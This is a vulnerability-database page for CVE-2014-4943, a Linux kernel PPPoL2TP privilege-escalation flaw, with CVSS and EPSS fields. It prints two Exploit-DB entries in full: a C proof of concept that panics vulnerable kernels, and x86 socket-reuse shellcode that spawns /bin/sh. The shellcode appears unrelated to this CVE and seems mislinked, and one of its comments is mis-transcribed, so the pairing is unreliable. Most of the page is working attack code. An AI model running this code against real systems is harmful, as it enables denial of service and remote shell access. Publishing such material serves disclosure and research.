CVE-2014-4943 Detail

CVE-2014-4943

CVE Descriptions

The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure differences between an l2tp socket and an inet socket.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-269	Improper Privilege Management The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.9		AV:L/AC:M/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 36267

Publication date : 2015-03-03 23h00 +00:00
Author : Emeric Nasi
EDB Verified : No

/* ---------------------------------------------------------------------------------------------------- * cve-2014-4943_poc.c * * The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure * differences between an l2tp socket and an inet socket. * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * I have tried to exploit this vulnerability and I am sure there is a way (or several) to elevate privileges. * There are some kernel structures that can be overwriten but I didn't manage to find the ultimate trick to at least point back to userland. * If seems guys at immunuty found a way using race condition. * * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-4943_poc cve-2014-4943_poc.c * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #include <netinet/ip.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/mman.h> #include <linux/net.h> #include <linux/udp.h> #include <linux/if.h> #include <linux/if_pppox.h> #include <linux/if_pppol2tp.h> /* ----------------------- Definitions ----------------------------*/ #define TARGET_KERNEL_MIN "3.2.0" #define TARGET_KERNEL_MAX "3.15.6" #define EXPLOIT_NAME "cve-2014-4943" /* ----------------------- functions ----------------------------*/ /** * It is possible to modify several parts of socket object using IP options frop UDP setsockopt * For this POC, IP_OPTIONS is the easiest way to panic kernel */ void modifyUDPvalues(int tunnel_fd) { /* Extract from kernel code which is vulnerable, here you can see that both udp_setsockopt and ip_setsockopt (on inet_sock) can be used to leverage vulnerability: int udp_setsockopt(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen) { if (level == SOL_UDP || level == SOL_UDPLITE) return udp_lib_setsockopt(sk, level, optname, optval, optlen, udp_push_pending_frames); return ip_setsockopt(sk, level, optname, optval, optlen); } */ int ip_options = 0x1; if (setsockopt(tunnel_fd, SOL_IP, IP_OPTIONS, &ip_options, 20) == -1) { perror("setsockopt (IP_OPTIONS)"); } } /** * DOS poc for cve_2014_4943 vulnerability */ int main() { int tunnel_fd; int tunnel_fd2; int udp_fd; printf("[cve_2014_4943]: Preparing to exploit.\n"); /* Create first L2TP socket */ tunnel_fd = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (tunnel_fd < 0) { perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)"); return -1; } /* Create second L2TP socket */ tunnel_fd2 = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (tunnel_fd2 < 0) { perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)"); return -1; } if ((udp_fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("cannot create socket"); return -1; } /* Connect LT2P socket */ struct sockaddr_pppol2tp sax; memset(&sax, 0, sizeof(sax)); sax.sa_family = AF_PPPOX; sax.sa_protocol = PX_PROTO_OL2TP; sax.pppol2tp.fd = udp_fd; /* fd of tunnel UDP socket */ sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);// peer_addr->sin_addr.s_addr; sax.pppol2tp.addr.sin_port = htons(1337);//peer_addr->sin_port; sax.pppol2tp.addr.sin_family = AF_INET; sax.pppol2tp.s_tunnel = 8;//tunnel_id; sax.pppol2tp.s_session = 0; /* special case: mgmt socket */ sax.pppol2tp.d_tunnel = 0; sax.pppol2tp.d_session = 0; /* special case: mgmt socket */ if(connect(tunnel_fd, (struct sockaddr *)&sax, sizeof(sax) ) < 0 ) { perror("connect failed"); } /* Connect LT2P socket */ struct sockaddr_pppol2tp sax2; memset(&sax, 0, sizeof(sax2)); sax2.sa_family = AF_PPPOX; sax2.sa_protocol = PX_PROTO_OL2TP; sax2.pppol2tp.s_tunnel = 8;//tunnel_id; sax2.pppol2tp.s_session = 1; sax2.pppol2tp.d_tunnel = 0; sax2.pppol2tp.d_session = 1; if(connect(tunnel_fd2, (struct sockaddr *)&sax2, sizeof(sax2) ) < 0 ) { perror("connect failed"); } /* * Entering critical part */ printf("[cve_2014_4943]: Panic!\n"); //modifyUDPvalues(tunnel_fd); modifyUDPvalues(tunnel_fd2); // close opened socket puts("\n [+] Closing sockets..."); close(tunnel_fd); close(tunnel_fd2); exit(0); }

Exploit Database EDB-ID : 34060

Publication date : 2014-07-13 22h00 +00:00
Author : ZadYree
EDB Verified : Yes

/* Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes * <[email protected]> * * Made using sockfd trick + dup2(0,0), dup2(0,1), dup2(0,2) + * execve /bin/sh * * Thanks: Charles Stevenson, ipv, 3LRVS research team * * gcc -o socket_reuse socket_reuse.c -z execstack */ char shellcode[]= /* We use sys_dup(2) to get the previous attributed sockfd */ "\x6a\x02" // push 0x2 "\x5b" // pop ebx "\x6a\x29" // push 0x29 "\x58" // pop eax "\xcd\x80" // int 0x80 -> call dup(2) "\x48" // dec eax /* Now EAX = our Socket File Descriptor */ "\x89\xc6" // mov esi, eax /* dup2(fd,0); dup2(fd,1); dup2(fd,2); */ "\x31\xc9" // xor %ecx,%ecx "\x56" // push %esi "\x5b" // pop %ebx // loop: "\x6a\x3f" // push $0x3f "\x58" // pop %eax "\xcd\x80" // int $0x80 "\x41" // inc %ecx "\x80\xf9\x03" // cmp $0x3,%cl "\x75\xf5" // jne 80483e8 <loop> /* execve /bin/sh by ipv */ "\x6a\x0b" // push byte 0xb "\x58" // pop eax "\x99" // cdq "\x52" // push edx "\x31\xf6" // xor esi, esi - We add those instructions "\x56" // push esi - to clean up the arg stack "\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f "\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f "\x89\xe3" // mov ebx, esp "\x31\xc9" // xor ecx, ecx "\xcd\x80"; // int 0x80 ; /* shellcode[]= "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6" "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80" "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6" "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x31\xc9\xcd\x80"; */ int main(void) { printf("Shellcode length: %d\n", strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }